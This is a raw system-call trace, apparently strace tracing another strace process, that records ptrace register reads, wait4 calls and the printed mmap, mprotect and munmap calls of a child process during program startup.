--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7008000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x812]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0x3000]) = 0
write(2, "mmap(0x7ffff7008000, 8192, PROT_"..., 95) = 95
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7008000]) = 0
write(2, ") = 0x7ffff7008000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x3]) = 0
write(2, "close(3", 7) = 7
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") "..., 37) = 37
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 4096, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fdc000]) = 0
write(2, ") = 0x7ffff7fdc000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x2000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x3]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R10, [0x22]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R8, [0xffffffff]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*R9, [0]) = 0
write(2, "mmap(NULL, 8192, PROT_READ|PROT_"..., 71) = 71
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x7ffff7fda000]) = 0
write(2, ") = 0x7ffff7fda000\n", 19) = 19
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9e]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x1002]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x7ffff7fda7a0]) = 0
write(2, "arch_prctl(ARCH_SET_FS, 0x7ffff7"..., 38) = 38
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0x9e]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7008000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff7008000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7221000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff7221000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7429000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff7429000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff77a4000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x4000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff77a4000, 16384, "..., 41) = 41
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff79b4000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff79b4000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7bbc000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff7bbc000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7dd9000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff7dd9000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x618000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x618000, 4096, PROT_RE"..., 34) = 34
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 10) = 10
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7ffc000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x1000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDX, [0x1]) = 0
write(2, "mprotect(0x7ffff7ffc000, 4096, P"..., 40) = 40
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xa]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 6) = 6
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fdf000]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RSI, [0x19329]) = 0
write(2, "munmap(0x7ffff7fdf000, 103209", 29) = 29
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xb]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0]) = 0
write(2, ") = 0\n", 15) = 15
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*CS, [0x33]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0xffffffffffffffda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RDI, [0x7ffff7fdaa70]) = 0
write(2, "set_tid_address(0x7ffff7fdaa70", 30) = 30
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
rt_sigprocmask(SIG_BLOCK, [HUP INT QUIT PIPE TERM], NULL, 8) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*ORIG_RAX, [0xda]) = 0
ptrace(PTRACE_PEEKUSER, 30692, 8*RAX, [0x77e4]) = 0
write(2, ") = 30692\n", 18) = 18
ptrace(PTRACE_SYSCALL, 30692, 0x1, SIG_0) = 0
--- {si_signo=SIGCHLD, si_code=CLD_TRAPPED, si_pid=30692, si_status=SIGTRAP, si_utime=0, si_stime=1} (Child exited) ---
rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0
wait4(-1, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL, NULL) = 30692
